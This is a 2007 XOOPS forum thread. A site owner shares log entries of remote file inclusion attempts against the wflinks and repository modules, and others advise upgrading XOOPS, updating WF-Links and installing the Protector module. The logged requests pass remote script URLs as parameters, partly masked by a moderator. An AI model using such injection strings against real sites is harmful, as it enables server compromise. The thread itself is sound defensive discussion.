Had the following attempts in the last few days ...

=========================================================

Thu Apr 5 2007 1:44:57 pm CDT

87.24.194.59 tried to load
.example.com/modules/wflinks/viewcat.php?cid=http://www.??kola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

===========================================================

Thu Apr 5 2007 1:46:11 pm CDT

87.24.194.59 tried to load
.example.com/modules/repository/singlefile.php?cid=http://www.??kola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

============================================================

Thu Apr 5 2007 8:26:41 pm CDT

83.15.139.164 tried to load
.example.com//modules/wflinks/viewcat.php?cid=http://????channel.narod.ru/????.txt??

User Agent = libwww-perl/5.64

=============================================================

Thu Apr 5 2007 6:57:15 pm CDT

87.24.194.59 tried to load
.example.com/modules/repository/singlefile.php?1.03=http://www.???ola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

==============================================================

Thu Apr 5 2007 6:34:45 pm CDT

87.24.194.59 tried to load
.example.net/modules/repository/singlefile.php?1.03=http://www.???ola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

===============================================================

Thu Apr 5 2007 2:01:07 pm CDT

87.24.194.59 tried to load
.example.net/modules/repository/singlefile.php?cid=http://www.???ola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

=================================================================

Thu Apr 5 2007 1:48:22 pm CDT

87.24.194.59 tried to load
.example.com/modules/repository/singlefile.php?1.03=http://www.???ola.ch/???irot_r0x/???.txt?

User Agent = libwww-perl/5.805

==================================================================

87.24.194.59 has a canonical name of host59-194-static.24-87-b.business.telecomitalia.it.

83.15.139.164 has a canonical name of elf164.internetdsl.tpnet.pl.

The website is version 2.2.3 final. is that version 'safe' ??

[EDITED by m0nty to remove possibility for users copy/pasting url]

No it is not secure. And you can read it is not recommended by XOOPS project team.

Good Luck.

Okay thanks. I will take that site 'off air' for a while, and probably re-install with 2.0.16

There is another site, I think it is 2.0.15, the 'version' info is ..



I should update that to 2.0.16 as well though, even though it is 'safer' than 2.2.3 final.

Thanks for your help. :)

I can not give support if you install any xoops.org version just advise you to visit Mr. Gijoe site to get the module protector and learn to protect your site.

http://xoops.peak.ne.jp/

Good Luck.

@peterr

2.2.5 rc1 is better than 2.2.3.

2.0.16 is the recommended way to go though.

the only good advice xguide gave you here is to make sure you have protector module installed.

but on that note, just because you have it, doesn't make your site hacker proof. Nothing in computer world is 100% hack proof. nothing whatsoever, and anyone who tells you different is misinformed. all you can do is make it harder for them.

If you have already got a site established using 2.2.3 - then move to 2.2.5rc2

If, however, it's a new site.. then as Xguide says - it's not a recommended release so starting from fresh with 2.0.16 would be a much better idea.

As both the other posters have stressed - we definately recommend "Protector" ... it's an excellent module indeed. But also see the article on security at www.xoopsinfo.com for more advise.

@peterr

You also might want to update your WF-Links module.
Last week WF-Links was updated because of a security hole.
You can download it here.

Thanks for the fast work with this update McDonald.

Incidently - it looks like Mambo had a similar hack here as well - so this issue isn't just specific to XOOPS modules.

Quote:

I think I will do a full back of the site with 2.2.3 final, and do a fresh install 2.0.16

There really isn't much content on it, and the wf-links data can easily be reloaded. Then I'll add the protector module.

Yes, nothing is 100% certain.

Thanks. :)

Quote:

Thanks for the advice on the protector module. The sitehttp://xoopsinfo.com is interesting, I will check that out some more.